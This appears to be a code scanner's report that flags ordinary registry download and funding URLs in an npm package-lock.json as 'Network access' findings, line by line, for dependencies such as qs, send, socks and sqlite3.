    "version": "1.13.4",       "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz",       "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==",
  • Network accessline 1815
    "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz",
  • Network accessline 1820
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1821
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 1822
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1825
    "node_modules/on-finished": {       "version": "2.4.1",       "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz",
  • Network accessline 1826
    "version": "2.4.1",       "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz",       "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==",
  • Network accessline 1827
    "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz",
  • Network accessline 1837
    "node_modules/once": {       "version": "1.4.0",       "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
  • Network accessline 1838
    "version": "1.4.0",       "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",       "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
  • Network accessline 1839
    "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
  • Network accessline 1846
    "node_modules/p-map": {       "version": "4.0.0",       "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz",
  • Network accessline 1847
    "version": "4.0.0",       "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz",       "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==",
  • Network accessline 1848
    "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz",
  • Network accessline 1857
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 1858
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 1859
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 1862
    "node_modules/parseurl": {       "version": "1.3.3",       "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
  • Network accessline 1863
    "version": "1.3.3",       "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",       "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==",
  • Network accessline 1864
    "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
  • Network accessline 1871
    "node_modules/path-is-absolute": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
  • Network accessline 1872
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",       "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==",
  • Network accessline 1873
    "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
  • Network accessline 1881
    "node_modules/path-to-regexp": {       "version": "0.1.12",       "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.12.tgz",
  • Network accessline 1882
    "version": "0.1.12",       "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.12.tgz",       "integrity": "sha512-RA1GjUVMnvYFxuqovrEqZoxxW5NUZqbwKtYz/Tt7nXerk0LbLblQmrsgdeOxV5SFHf0UDggjS/bSeOZwt1pmEQ==",
  • Network accessline 1883
    "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.12.tgz",
  • Network accessline 1887
    "node_modules/prebuild-install": {       "version": "7.1.3",       "resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-7.1.3.tgz",
  • Network accessline 1888
    "version": "7.1.3",       "resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-7.1.3.tgz",       "integrity": "sha512-8Mf2cbV7x1cXPUILADGI3wuhfqWvtiLA1iclTDbFRZkgRQS0NqsPZphna9V+HyTEadheuPmjaJMsbzKQFOzLug==",
  • Network accessline 1889
    "resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-7.1.3.tgz",
  • Network accessline 1913
    "node_modules/promise-inflight": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz",
  • Network accessline 1914
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz",       "integrity": "sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g==",
  • Network accessline 1915
    "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz",
  • Network accessline 1920
    "node_modules/promise-retry": {       "version": "2.0.1",       "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-2.0.1.tgz",
  • Network accessline 1921
    "version": "2.0.1",       "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-2.0.1.tgz",       "integrity": "sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==",
  • Network accessline 1922
    "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-2.0.1.tgz",
  • Network accessline 1934
    "node_modules/proxy-addr": {       "version": "2.0.7",       "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz",
  • Network accessline 1935
    "version": "2.0.7",       "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz",       "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==",
  • Network accessline 1936
    "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz",
  • Network accessline 1947
    "node_modules/pump": {       "version": "3.0.3",       "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.3.tgz",
  • Network accessline 1948
    "version": "3.0.3",       "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.3.tgz",       "integrity": "sha512-todwxLMY7/heScKmntwQG8CXVkWUOdYxIvY2s0VWAAMh/nd8SoYiRaKjlr7+iCs984f2P8zvrfWcDDYVb73NfA==",
  • Network accessline 1949
    "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.3.tgz",
  • Network accessline 1957
    "node_modules/qs": {       "version": "6.14.1",       "resolved": "https://registry.npmjs.org/qs/-/qs-6.14.1.tgz",
  • Network accessline 1958
    "version": "6.14.1",       "resolved": "https://registry.npmjs.org/qs/-/qs-6.14.1.tgz",       "integrity": "sha512-4EK3+xJl8Ts67nLYNwqw/dsFVnCf+qR7RgXSK9jEEm9unao3njwMDdmsdvoKBKHzxd7tCYz5e5M+SnMjdtXGQQ==",
  • Network accessline 1959
    "resolved": "https://registry.npmjs.org/qs/-/qs-6.14.1.tgz",
  • Network accessline 1967
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1968
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 1969
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1972
    "node_modules/range-parser": {       "version": "1.2.1",       "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
  • Network accessline 1973
    "version": "1.2.1",       "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",       "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==",
  • Network accessline 1974
    "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
  • Network accessline 1981
    "node_modules/raw-body": {       "version": "2.5.3",       "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.3.tgz",
  • Network accessline 1982
    "version": "2.5.3",       "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.3.tgz",       "integrity": "sha512-s4VSOf6yN0rvbRZGxs8Om5CWj6seneMwK3oDb4lWDH0UPhWcxwOWw5+qk24bxq87szX1ydrwylIOp2uG1ojUpA==",
  • Network accessline 1983
    "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.3.tgz",
  • Network accessline 1996
    "node_modules/rc": {       "version": "1.2.8",       "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz",
  • Network accessline 1997
    "version": "1.2.8",       "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz",       "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==",
  • Network accessline 1998
    "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz",
  • Network accessline 2011
    "node_modules/readable-stream": {       "version": "3.6.2",       "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
  • Network accessline 2012
    "version": "3.6.2",       "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",       "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
  • Network accessline 2013
    "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
  • Network accessline 2025
    "node_modules/retry": {       "version": "0.12.0",       "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz",
  • Network accessline 2026
    "version": "0.12.0",       "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz",       "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==",
  • Network accessline 2027
    "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz",
  • Network accessline 2035
    "node_modules/rimraf": {       "version": "3.0.2",       "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
  • Network accessline 2036
    "version": "3.0.2",       "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",       "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
  • Network accessline 2037
    "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
  • Network accessline 2047
    },       "funding": {         "url": "https://github.com/sponsors/isaacs"
  • Network accessline 2048
    "funding": {         "url": "https://github.com/sponsors/isaacs"       }
  • Network accessline 2049
    "url": "https://github.com/sponsors/isaacs"
  • Network accessline 2052
    "node_modules/safe-buffer": {       "version": "5.2.1",       "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
  • Network accessline 2053
    "version": "5.2.1",       "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",       "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
  • Network accessline 2054
    "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
  • Network accessline 2057
    {           "type": "github",           "url": "https://github.com/sponsors/feross"
  • Network accessline 2058
    "type": "github",           "url": "https://github.com/sponsors/feross"         },
  • Network accessline 2059
    "url": "https://github.com/sponsors/feross"
  • Network accessline 2061
    {           "type": "patreon",           "url": "https://www.patreon.com/feross"
  • Network accessline 2062
    "type": "patreon",           "url": "https://www.patreon.com/feross"         },
  • Network accessline 2063
    "url": "https://www.patreon.com/feross"
  • Network accessline 2065
    {           "type": "consulting",           "url": "https://feross.org/support"
  • Network accessline 2066
    "type": "consulting",           "url": "https://feross.org/support"         }
  • Network accessline 2067
    "url": "https://feross.org/support"
  • Network accessline 2072
    "node_modules/safer-buffer": {       "version": "2.1.2",       "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
  • Network accessline 2073
    "version": "2.1.2",       "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",       "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
  • Network accessline 2074
    "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
  • Network accessline 2078
    "node_modules/semver": {       "version": "7.7.3",       "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz",
  • Network accessline 2079
    "version": "7.7.3",       "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz",       "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==",
  • Network accessline 2080
    "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz",
  • Network accessline 2090
    "node_modules/send": {       "version": "0.19.2",       "resolved": "https://registry.npmjs.org/send/-/send-0.19.2.tgz",
  • Network accessline 2091
    "version": "0.19.2",       "resolved": "https://registry.npmjs.org/send/-/send-0.19.2.tgz",       "integrity": "sha512-VMbMxbDeehAxpOtWJXlcUS5E8iXh6QmN+BkRX1GARS3wRaXEEgzCcB10gTQazO42tpNIya8xIyNx8fll1OFPrg==",
  • Network accessline 2092
    "resolved": "https://registry.npmjs.org/send/-/send-0.19.2.tgz",
  • Network accessline 2114
    "node_modules/send/node_modules/ms": {       "version": "2.1.3",       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
  • Network accessline 2115
    "version": "2.1.3",       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",       "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
  • Network accessline 2116
    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
  • Network accessline 2120
    "node_modules/serve-static": {       "version": "1.16.3",       "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.16.3.tgz",
  • Network accessline 2121
    "version": "1.16.3",       "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.16.3.tgz",       "integrity": "sha512-x0RTqQel6g5SY7Lg6ZreMmsOzncHFU7nhnRWkKgWuMTu5NN0DR5oruckMqRvacAN9d5w6ARnRBXl9xhDCgfMeA==",
  • Network accessline 2122
    "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.16.3.tgz",
  • Network accessline 2135
    "node_modules/set-blocking": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz",
  • Network accessline 2136
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz",       "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==",
  • Network accessline 2137
    "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz",
  • Network accessline 2142
    "node_modules/setprototypeof": {       "version": "1.2.0",       "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
  • Network accessline 2143
    "version": "1.2.0",       "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",       "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==",
  • Network accessline 2144
    "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
  • Network accessline 2148
    "node_modules/side-channel": {       "version": "1.1.0",       "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz",
  • Network accessline 2149
    "version": "1.1.0",       "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz",       "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==",
  • Network accessline 2150
    "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz",
  • Network accessline 2162
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 2163
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 2164
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 2167
    "node_modules/side-channel-list": {       "version": "1.0.0",       "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz",
  • Network accessline 2168
    "version": "1.0.0",       "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz",       "integrity": "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==",
  • Network accessline 2169
    "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz",
  • Network accessline 2178
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 2179
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 2180
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 2183
    "node_modules/side-channel-map": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",
  • Network accessline 2184
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",       "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==",
  • Network accessline 2185
    "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",
  • Network accessline 2196
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 2197
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 2198
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 2201
    "node_modules/side-channel-weakmap": {       "version": "1.0.2",       "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",
  • Network accessline 2202
    "version": "1.0.2",       "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",       "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==",
  • Network accessline 2203
    "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",
  • Network accessline 2215
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 2216
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 2217
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 2220
    "node_modules/signal-exit": {       "version": "3.0.7",       "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz",
  • Network accessline 2221
    "version": "3.0.7",       "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz",       "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==",
  • Network accessline 2222
    "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz",
  • Network accessline 2227
    "node_modules/simple-concat": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.1.tgz",
  • Network accessline 2228
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.1.tgz",       "integrity": "sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==",
  • Network accessline 2229
    "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.1.tgz",
  • Network accessline 2232
    {           "type": "github",           "url": "https://github.com/sponsors/feross"
  • Network accessline 2233
    "type": "github",           "url": "https://github.com/sponsors/feross"         },
  • Network accessline 2234
    "url": "https://github.com/sponsors/feross"
  • Network accessline 2236
    {           "type": "patreon",           "url": "https://www.patreon.com/feross"
  • Network accessline 2237
    "type": "patreon",           "url": "https://www.patreon.com/feross"         },
  • Network accessline 2238
    "url": "https://www.patreon.com/feross"
  • Network accessline 2240
    {           "type": "consulting",           "url": "https://feross.org/support"
  • Network accessline 2241
    "type": "consulting",           "url": "https://feross.org/support"         }
  • Network accessline 2242
    "url": "https://feross.org/support"
  • Network accessline 2247
    "node_modules/simple-get": {       "version": "4.0.1",       "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-4.0.1.tgz",
  • Network accessline 2248
    "version": "4.0.1",       "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-4.0.1.tgz",       "integrity": "sha512-brv7p5WgH0jmQJr1ZDDfKDOSeWWg+OVypG99A/5vYGPqJ6pxiaHLy8nxtFjBA7oMa01ebA9gfh1uMCFqOuXxvA==",
  • Network accessline 2249
    "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-4.0.1.tgz",
  • Network accessline 2252
    {           "type": "github",           "url": "https://github.com/sponsors/feross"
  • Network accessline 2253
    "type": "github",           "url": "https://github.com/sponsors/feross"         },
  • Network accessline 2254
    "url": "https://github.com/sponsors/feross"
  • Network accessline 2256
    {           "type": "patreon",           "url": "https://www.patreon.com/feross"
  • Network accessline 2257
    "type": "patreon",           "url": "https://www.patreon.com/feross"         },
  • Network accessline 2258
    "url": "https://www.patreon.com/feross"
  • Network accessline 2260
    {           "type": "consulting",           "url": "https://feross.org/support"
  • Network accessline 2261
    "type": "consulting",           "url": "https://feross.org/support"         }
  • Network accessline 2262
    "url": "https://feross.org/support"
  • Network accessline 2272
    "node_modules/smart-buffer": {       "version": "4.2.0",       "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz",
  • Network accessline 2273
    "version": "4.2.0",       "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz",       "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==",
  • Network accessline 2274
    "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz",
  • Network accessline 2283
    "node_modules/socks": {       "version": "2.8.7",       "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.7.tgz",
  • Network accessline 2284
    "version": "2.8.7",       "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.7.tgz",       "integrity": "sha512-HLpt+uLy/pxB+bum/9DzAgiKS8CX1EvbWxI4zlmgGCExImLdiad2iCwXT5Z4c9c3Eq8rP2318mPW2c+QbtjK8A==",
  • Network accessline 2285
    "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.7.tgz",
  • Network accessline 2298
    "node_modules/socks-proxy-agent": {       "version": "6.2.1",       "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-6.2.1.tgz",
  • Network accessline 2299
    "version": "6.2.1",       "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-6.2.1.tgz",       "integrity": "sha512-a6KW9G+6B3nWZ1yB8G7pJwL3ggLy1uTzKAgCb7ttblwqdz9fMGJUuTy3uFzEP48FAs9FLILlmzDlE2JJhVQaXQ==",
  • Network accessline 2300
    "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-6.2.1.tgz",
  • Network accessline 2313
    "node_modules/socks-proxy-agent/node_modules/debug": {       "version": "4.4.3",       "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
  • Network accessline 2314
    "version": "4.4.3",       "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",       "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
  • Network accessline 2315
    "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
  • Network accessline 2331
    "node_modules/socks-proxy-agent/node_modules/ms": {       "version": "2.1.3",       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
  • Network accessline 2332
    "version": "2.1.3",       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",       "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
  • Network accessline 2333
    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
  • Network accessline 2338
    "node_modules/sqlite3": {       "version": "5.1.7",       "resolved": "https://registry.npmjs.org/sqlite3/-/sqlite3-5.1.7.tgz",
  • Network accessline 2339
    "version": "5.1.7",       "resolved": "https://registry.npmjs.org/sqlite3/-/sqlite3-5.1.7.tgz",       "integrity": "sha512-GGIyOiFaG+TUra3JIfkI/zGP8yZYLPQ0pl1bH+ODjiX57sPhrLU5sQJn1y9bDKZUFYkX1crlrPfSYt0BKKdkog==",
  • Network accessline 2340
    "resolved": "https://registry.npmjs.org/sqlite3/-/sqlite3-5.1.7.tgz",
  • Network accessline 2362
    "node_modules/ssri": {       "version": "8.0.1",       "resolved": "https://registry.npmjs.org/ssri/-/ssri-8.0.1.tgz",
  • Network accessline 2363
    "version": "8.0.1",       "resolved": "https://registry.npmjs.org/ssri/-/ssri-8.0.1.tgz",       "integrity": "sha512-97qShzy1AiyxvPNIkLWoGua7xoQzzPjQ0HAH4B0rWKo7SZ6USuPcrUiAFrws0UH8RrbWmgq3LMTObhPIHbbBeQ==",
  • Network accessline 2364
    "resolved": "https://registry.npmjs.org/ssri/-/ssri-8.0.1.tgz",
  • Network accessline 2375
    "node_modules/statuses": {       "version": "2.0.2",       "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz",
  • Network accessline 2376
    "version": "2.0.2",       "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz",       "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==",
  • Network accessline 2377
    "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz",
  • Network accessline 2384
    "node_modules/string_decoder": {       "version": "1.3.0",       "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
  • Network accessline 2385
    "version": "1.3.0",       "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",       "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
  • Network accessline 2386
    "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
  • Network accessline 2393
    "node_modules/string-width": {       "version": "4.2.3",       "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
  • Network accessline 2394
    "version": "4.2.3",       "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",       "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
  • Network accessline 2395
    "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
  • Network accessline 2408
    "node_modules/strip-ansi": {       "version": "6.0.1",       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
  • Network accessline 2409
    "version": "6.0.1",       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",       "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
  • Network accessline 2410
    "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
  • Network accessline 2421
